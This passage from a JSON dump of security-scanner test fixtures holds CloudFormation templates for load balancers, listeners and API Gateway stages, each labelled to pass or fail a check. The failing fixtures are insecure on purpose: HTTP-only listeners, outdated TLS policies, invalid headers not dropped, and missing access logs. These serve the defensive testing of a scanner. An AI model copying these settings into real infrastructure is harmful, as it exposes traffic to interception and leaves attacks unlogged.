    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  FailDefaultType:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n  FailExplicitALB:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n      Type: application\n  FailExplicitFalse:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n      Type: application\n      LoadBalancerAttributes:\n        - Key: routing.http.drop_invalid_header_fields.enabled\n          Value: \"false\"\n  FailExplicitFalse2:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n      Type: application\n      LoadBalancerAttributes:\n        - Key: routing.http.drop_invalid_header_fields.enabled\n          Value: false\n  FailKeyNotExist:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n      Type: application\n      LoadBalancerAttributes:\n        - Key: deletion_protection.enabled\n          Value: \"true\"\n  FailKeyNotExist2:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n      Type: application\n      LoadBalancerAttributes:\n        - Key: deletion_protection.enabled\n          Value: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  PassDefaultType:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets: \n        - test-0\n        - test-1\n      LoadBalancerAttributes:\n        - Key: routing.http.drop_invalid_header_fields.enabled\n          Value: \"true\"\n  PassDefaultTypeBool:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets:\n        - test-0\n        - test-1\n      LoadBalancerAttributes:\n        - Key: routing.http.drop_invalid_header_fields.enabled\n          Value: true\n  PassExplicitALB:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets: \n        - test-0\n        - test-1\n      Type: application\n      LoadBalancerAttributes:\n        - Key: routing.http.drop_invalid_header_fields.enabled\n          Value: \"true\"\n  PassMultipleAttributes:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets: \n        - test-0\n        - test-1\n      Type: application\n      LoadBalancerAttributes:\n        - Key: deletion_protection.enabled\n          Value: \"true\"\n        - Key: routing.http.drop_invalid_header_fields.enabled\n          Value: \"true\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/UNKNOWN.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  UnknownNLB:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets: \n        - test-0\n        - test-1\n      Type: network\n  UnknownGatewayLB:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: test\n      Subnets: \n        - test-0\n        - test-1\n      Type: gateway\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-FAILED-HTTP.yaml",
    "content": "Description: >\n  This template deploys an Application Load Balancer - HTTP listener only\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\n  SecurityGroup:\n    Description: Security Group for ALB \n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\n\nResources:\n  #ALBSecurityGroup:\n  #  Type: 'AWS::EC2::SecurityGroup'\n  #  Properties:\n  #    GroupDescription: 'checkov-alb-test'\n  #    VpcId: !Ref VPC\n  #    SecurityGroupIngress:\n  #    - Description: 'HTTP Ingress' \n  #      IpProtocol: tcp\n  #      FromPort: 80\n  #      ToPort: 80\n  #      CidrIp: 0.0.0.0/0\n  #    - Description: 'HTTPS Ingress' \n  #      IpProtocol: tcp\n  #      FromPort: 443\n  #      ToPort: 443\n  #      CidrIp: 0.0.0.0/0\n\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - !Ref SecurityGroup\n      #  - !Ref ALBSecurityGroup\n  \n  ListenerHTTP:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 80\n      Protocol: HTTP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 80\n      Protocol: HTTP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-HTTPS.yaml",
    "content": "Description: >\n  This template deploys an Application Load Balancer with HTTPS listener only\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\n\nResources:\n  #ALBSecurityGroup:\n  #  Type: 'AWS::EC2::SecurityGroup'\n  #  Properties:\n  #    GroupDescription: 'checkov-alb-test'\n  #    VpcId: !Ref VPC\n  #    SecurityGroupIngress:\n  #    - Description: 'HTTP Ingress'\n  #      IpProtocol: tcp\n  #      FromPort: 80\n  #      ToPort: 80\n  #      CidrIp: 0.0.0.0/0\n  #    - Description: 'HTTPS Ingress'\n  #      IpProtocol: tcp\n  #      FromPort: 443\n  #      ToPort: 443\n  #      CidrIp: 0.0.0.0/0\n\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - !Ref SecurityGroup\n        #- !Ref ALBSecurityGroup\n\n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates: \n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties: \n      Certificates: \n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 80\n      Protocol: HTTP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-TCP.yaml",
    "content": "Description: >\n  This template deploys an NLB with TLS termination\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n  UseHttps:\n    Description: If HTTPS is used\n    Type: String\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\nConditions:\n  IsHttps:\n    Fn::Equals:\n      - !Ref UseHttps\n      - 'true'\n\nResources:\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: 'network'\n      Subnets: !Ref Subnets\n  \n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 22\n      Protocol: TCP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 22\n      Protocol: TCP\n\n  ListenerHTTPUnknown:\n     Type: AWS::ElasticLoadBalancingV2::Listener\n     Properties:\n       DefaultActions: !If\n        - IsHttps\n        -\n          - Type: \"redirect\"\n            RedirectConfig:\n              Protocol: \"HTTPS\"\n              Port: 443\n              Path: \"/\"\n              StatusCode: \"HTTP_301\"\n        -\n          - TargetGroupArn: default-target-group\n            Type: forward\n       LoadBalancerArn: !Ref LoadBalancer\n       Port: 80\n       Protocol: HTTP\n\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-TCP_UDP.yaml",
    "content": "Description: >\n  This template deploys an NLB with TLS termination\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\nResources:\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: 'network'\n      Subnets: !Ref Subnets\n  \n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 53\n      Protocol: TCP_UDP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties: \n      Certificates: \n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 53\n      Protocol: TCP_UDP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-TLS.yaml",
    "content": "Description: >\n  This template deploys an NLB with TLS termination\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\nResources:\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: 'network'\n      Subnets: !Ref Subnets\n  \n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 443\n      Protocol: TLS\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties: \n      Certificates: \n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 80\n      Protocol: HTTP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-UDP.yaml",
    "content": "Description: >\n  This template deploys an NLB with TLS termination\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\nResources:\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: 'network'\n      Subnets: !Ref Subnets\n  \n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 53\n      Protocol: UDP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties: \n      Certificates: \n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 53\n      Protocol: UDP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-redirect.yaml",
    "content": "Description: >\n  This template deploys an Application Load Balancer\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\n\nResources:\n  #ALBSecurityGroup:\n  #  Type: 'AWS::EC2::SecurityGroup'\n  #  Properties:\n  #    GroupDescription: 'checkov-alb-test'\n  #    VpcId: !Ref VPC\n  #    SecurityGroupIngress:\n  #    - Description: 'HTTP Ingress'\n  #      IpProtocol: tcp\n  #      FromPort: 80\n  #      ToPort: 80\n  #      CidrIp: 0.0.0.0/0\n  #    - Description: 'HTTPS Ingress'\n  #      IpProtocol: tcp\n  #      FromPort: 443\n  #      ToPort: 443\n  #      CidrIp: 0.0.0.0/0\n\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - !Ref SecurityGroup\n        #- !Ref ALBSecurityGroup\n  \n\n  ListenerHTTP:\n    Type: \"AWS::ElasticLoadBalancingV2::Listener\"\n    Properties:\n      DefaultActions:\n        - RedirectConfig:\n            Host: '#{host}'\n            Path: '/#{path}'\n            Port: '443'\n            Protocol: HTTPS\n            StatusCode: HTTP_302\n          Type: redirect\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 80\n      Protocol: HTTP\n\n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties: \n      Certificates: \n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 80\n      Protocol: HTTP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.2-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: >\n  This template deploys an Application Load Balancer \nParameters:\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\nResources:\n  ApplicationLoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: application\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-1234567\n\n  ListenerHTTPSFAILED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref ApplicationLoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-2016-08\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerHTTPSFAILED2:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref ApplicationLoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      Certificates:\n        - CertificateArn: test-cert\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  NetworkLoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: network\n      Subnets: !Ref Subnets\n\n  ListenerTLSFAILED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TLS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-2016-08\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerTLSFAILED2:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TLS\n      SslPolicy: ELBSecurityPolicy-TLS13-1-1-2021-06\n      Certificates:\n        - CertificateArn: test-cert\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerTLSFAILED3:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TLS\n      Certificates:\n        - CertificateArn: test-cert\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerHTTPFAILED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: HTTP\n      Certificates:\n        - CertificateArn: test-cert"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.2-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: >\n  This template deploys an Application Load Balancer \nParameters:\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n  UseHttps:\n    Description: If HTTPS is used\n    Type: String\n\nConditions:\n  IsHttps:\n    Fn::Equals:\n      - !Ref UseHttps\n      - 'true'\nResources:\n  ApplicationLoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: application\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-1234567\n\n  ListenerHTTPSPASSED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref ApplicationLoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-TLS-1-2-Ext-2018-06\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerHTTPPASSED2:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref ApplicationLoadBalancer\n      Port: 80\n      Protocol: HTTP\n      DefaultActions:\n        - Type: redirect\n          RedirectConfig:\n            Host: \"localhost\"\n            Path: \"/images\"\n            Port: \"443\"\n            Protocol: \"HTTPS\"\n            Query: \"query\"\n            StatusCode: HTTP_301\n\n  ListenerHTTPUnknown:\n     Type: AWS::ElasticLoadBalancingV2::Listener\n     Properties:\n       LoadBalancerArn: !Ref ApplicationLoadBalancer\n       Port: 80\n       Protocol: HTTP\n       DefaultActions: !If\n        - IsHttps\n        -\n          - Type: \"redirect\"\n            RedirectConfig:\n              Protocol: \"HTTPS\"\n              Port: 443\n              Path: \"/\"\n              StatusCode: \"HTTP_301\"\n        -\n          - TargetGroupArn: default-target-group\n            Type: forward\n\n  NetworkLoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: network\n      Subnets: !Ref Subnets\n\n  ListenerTLSPASSED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TLS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-TLS-1-2-Ext-2018-06\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerTLSPASSED2:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TLS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-TLS13-1-2-Ext2-2021-06\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerTLSPASSED3:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TLS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-TLS13-1-3-2021-06\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n\n  ListenerTCPPASSED4:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref NetworkLoadBalancer\n      Port: 443\n      Protocol: TCP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.3-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: >\n  This template deploys an Application Load Balancer \nParameters:\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n  UseHttps:\n    Description: If HTTPS is used\n    Type: String\n\nConditions:\n  IsHttps:\n    Fn::Equals:\n      - !Ref UseHttps\n      - 'true'\nResources:\n  ApplicationLoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Type: application\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-1234567\n\n  ListenerHTTPSPASS13:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref ApplicationLoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      Certificates:\n        - CertificateArn: test-cert\n      SslPolicy: ELBSecurityPolicy-TLS13-1-3-2021-06\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: default-target-group\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayAccessLogging/APIGatewayAccessLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      RestApiId: MyRestApi\n      DeploymentId: TestDeployment\n      DocumentationVersion: MyDocumentationVersion\n      ClientCertificateId: ClientCertificate\n      Variables:\n        Stack: Prod\n      MethodSettings:\n        - ResourcePath: /\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n        - ResourcePath: /stack\n          HttpMethod: POST\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 999\n        - ResourcePath: /stack\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 555\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_APIGatewayAccessLogging/APIGatewayAccessLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: AWS::ApiGateway::Stage\n    Properties:\n      StageName: Prod\n      Description: Prod Stage\n      RestApiId: MyRestApi\n      DeploymentId: TestDeployment\n      DocumentationVersion: MyDocumentationVersion\n      ClientCertificateId: ClientCertificate\n      Variables:\n        Stack: Prod\n      MethodSettings:\n        - ResourcePath: /\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n        - ResourcePath: /stack\n          HttpMethod: POST\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 999\n        - ResourcePath: /stack\n          HttpMethod: GET\n          MetricsEnabled: true\n          DataTraceEnabled: false\n          ThrottlingBurstLimit: 555\n      AccessLogSetting:\n        DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group'\n        Format: >-\n          {\"requestId\":\"$context.requestId\", \"ip\": \"$context.identity.sourceIp\",\n          \"caller\":\"$context.identity.caller\",\n          \"user\":\"$context.identity.user\",\"requestTime\":\"$context.requestTime\",\n          \"eventType\":\"$context.eventType\",\"routeKey\":\"$context.routeKey\",\n          \"status\":\"$context.status\",\"connectionId\":\"$context.connectionId\"}\n"
  },
  {
